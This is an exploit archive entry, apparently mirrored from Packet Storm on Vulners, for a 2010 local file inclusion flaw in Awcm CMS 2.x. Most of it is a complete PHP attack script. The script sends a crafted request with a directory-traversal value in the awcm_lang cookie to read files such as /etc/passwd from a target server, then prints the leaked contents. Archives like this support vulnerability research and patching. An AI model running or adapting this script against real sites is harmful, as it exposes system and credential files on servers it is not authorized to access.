Lucene search
K

Awcm CMS Local File Inclusion

🗓️ 12 Jun 2010 00:00:00Reported by SwEET-DeViLType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 24 Views

Awcm CMS Local File Inclusion Vulnerability, Exploit by SwEET-DeViL, Version 2.x, Tested on Luni

Code
`  
  
# Exploit Title: Awcm Cms Local File Inclusion Vulnerability  
# Author: SwEET-DeViL  
# Published: 10-6-2010  
# Software Link: http://www.awcm-cms.com/  
# Download Software: http://sourceforge.net/projects/awcm/  
# Version: 2.x  
# Tested on: Lunix  
  
Exploit :  
  
<?php  
  
print("  
------------------------------------------------------------  
| Awcm Cms Local File Inclusion Vulnerability  
| By SwEET-DeViL  
| x0.root(at)gmail.com  
| example  
|  
| Exploit.php ".$argv[0]." example.com /path/ ../../../../../../../../etc/passwd  
------------------------------------------------------------  
");  
$host =$argv[1];//;  
$Path = "http://".$host.$argv[2];  
$CURL_in ="GET ".$Path."/notify.php?v=a HTTP/1.0\r\n";  
$CURL_in.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0;  
Windows NT 5.1)\r\n";  
$CURL_in.="Pragma: no-cache\r\n";  
$CURL_in.="Cookie: awcm_lang=".$argv[3]."".";\r\n";  
$CURL_in.="Connection: Close\r\n\r\n";  
  
if ( empty($argv[3]) ){  
echo "\n[-] Error : Exploit failed\n";  
die;  
}  
  
$FoN = @fsockopen($host, 80);  
if(!$FoN){  
echo "\n[-] Error : Can't connect to ".$host." !!\n";  
die;  
}  
  
fputs($FoN, $CURL_in);  
while (!feof($FoN)) $data .= fread($FoN, 1024);  
fclose($FoN);  
  
$error_1 = strstr( $data, "HTTP/1.1 404 Not Found" );  
if ( !empty($error_1) ){  
echo "\n[-] Error : 404 Not Found. \n";  
die;  
}  
  
$error_2 = strstr( $data, "HTTP/1.1 406 Not Acceptable" );  
if ( !empty($error_2) ){  
echo "\n[-] Error : 406 Not Acceptable. \n";  
die;  
}  
  
  
  
$EXc = explode("</head>",$data);  
$EXx = explode("<head>",$EXc[1]);  
$CODE = strip_tags($EXx[0]);  
$CODE2 = preg_replace("/\r|\t/",'',$CODE);  
$CODE2 = trim($CODE2);  
  
if (empty($CODE2)){  
print ('  
  
[-] Error : Sorry! File not Found  
  
');  
}else{  
print ('  
[+]  
------------------------------------------------------------  
').$CODE2;  
  
  
  
print ('  
  
------------------------------------------------------------  
');  
  
}  
  
?>  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Jun 2010 00:00Current
7.4High risk
Vulners AI Score7.4
24